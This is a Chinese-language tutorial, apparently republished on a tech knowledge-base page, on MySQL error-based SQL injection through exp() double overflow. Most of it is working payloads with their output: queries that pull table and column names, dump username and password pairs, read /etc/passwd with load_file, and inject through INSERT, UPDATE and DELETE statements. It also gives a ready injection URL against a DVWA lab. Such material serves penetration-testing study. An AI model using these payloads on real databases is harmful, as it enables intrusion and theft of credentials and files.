如何使用exp进行SQL报错注入

0x01 前言概述

小编又在MySQL中发现了一个Double型数据溢出。当我们拿到MySQL里的函数时,小编比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以小编就跑去测试看哪些函数会出现溢出错误。然后小编发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

如何使用exp进行SQL报错注入

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式:

如何使用exp进行SQL报错注入
如何使用exp进行SQL报错注入

mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

如何使用exp进行SQL报错注入

mysql> select exp(2.70805020110221);+-----------------------+| exp(2.70805020110221) |+-----------------------+|                    15 |+-----------------------+1 row in set (0.00 sec)

0x02 注入

当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到***的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 注出数据

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就

这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

如何使用exp进行SQL报错注入

0x05 读取文件

你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

如何使用exp进行SQL报错注入

注意,你无法写文件,因为这个错入写入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:out.txt  0

0x06 Injection in Insert

按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

对于所有的insert,update和delete语句DIOS查询也同样可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

0x07 Injection in Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08 Injection in Delete

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)

可能还有其他的函数会产生这种报错呦。

以上是“如何使用exp进行SQL报错注入”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

文章标题:如何使用exp进行SQL报错注入,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/23240

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月6日 上午12:18
下一篇 2022年9月6日 上午12:20

相关推荐

  • windows edge浏览器缓存位置如何修改

    edge浏览器缓存位置更改方法: 1、进入edge浏览器的路径位置,删除“Cache”缓存文件夹。 2、右击开始,选择“命令提示符(管理员)”。 3、输入命令 mklink /D “C:Users用户名AppDataLocalPackagesMicrosoft.MicrosoftEdge…

    2022年9月8日
    1.5K00
  • MySQL死锁是什么及怎么掌握

    1、什么是死锁? 死锁指的是在两个或两个以上不同的进程或线程中,由于存在共同资源的竞争或进程(或线程)间的通讯而导致各个线程间相互挂起等待,如果没有外力作用,最终会引发整个系统崩溃。 2、Mysql出现死锁的必要条件 资源独占条件 指多个事务在竞争同一个资源时存在互斥性,即在一段时间内某资源只由一个…

    2022年9月1日
    55900
  • 怎么利用idea快速搭建一个springcloud

    package com.example.consumer; import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;im…

    2022年9月18日
    39000
  • cad字体乱码如何解决

    cad字体乱码解决方法 1、首先鼠标右键CAD的图标,点击“打开文件位置”; 打开CAD的默认安装位置。 2、找到名为Fonts的文件夹。 3、找到simsun.ttc这个文件,点击删除。再重启CAD就可以了。 关于“cad字体乱码如何解决”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“c…

    2022年9月15日
    99400
  • 如何入门WEB信息收集

    信息收集(Information Gathering),信息收集是指通过各种方式获取所需要的信息。信息收集是信息得以利用的名列前茅步,也是关键的一步。信息收集工作的好坏,直接关系到整个信息管理工作的质量。 在实战中,前期的信息收集的完整性,很大一部分决定了在对网站进行的测试的成功几率,能够收集的越多…

    2022年9月24日
    1.1K00
  • 如何使用CSS显示链接之后的URL

    使用CSS显示链接之后的URL a:after{content:” (” attr(href) “) “;} 什么是css css是一种用来表现HTML或XML等文件样式的计算机语言,主要是用来设计网页的样式,使网页更加美化。它也是一种定义样式结构如字体、颜色、位置等的语言,并且css样式可以直接存…

    2022年8月31日
    49100
  • html中的from标签的作用介绍

    在html中,from标签用于创建供用户输入的HTML表单(表单域),以实现用户信息的收集和传递,form中的所有内容都会被提交给服务器;语法“<form action=”提交地址” method=”提交方式” name=”表单名称&…

    2022年9月16日
    2.1K00
  • windows Office365excl表格冻结窗口在哪

    Office365excl表格冻结窗口位置: 1、首先打开office365,点击新建一个excel表格。 2、然后选中自己需要操作的表格进行编辑。 3、点击上方工具栏中的“视图”。 4、最后点击“冻结窗格”即可完成操作。 关于“windows Office365excl表格冻结窗口在哪”的内容就介…

    2022年9月20日
    59900
  • windows todesk远程能听到对方说话吗

    todesk远程可以听到对方说话吗: 答:todesk远程可以听到对方说话。 1、当我们完成远程连接后,点击上方工具栏中的“语音沟通” 2、点击之后,只要对方连接上麦克风设备,你就可以听到对方说话了。 3、除了可以使用语音沟通外,你们还能够直接进行文字聊天。 4、不过一定要保证对方安装了麦克风设备,…

    2022年9月20日
    2.5K00
  • MySQL中流式查询及游标查询的方式是什么

    一、业务场景 现在业务系统需要从 MySQL 数据库里读取 500w 数据行进行处理 迁移数据 导出数据 批量处理数据 二、罗列一下三种处理方式 常规查询:一次性读取 500w 数据到 JVM 内存中,或者分页读取 流式查询:每次读取一条加载到 JVM 内存进行业务处理 游标查询:和流式一样,通过 …

    2022年8月31日
    1.0K00
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部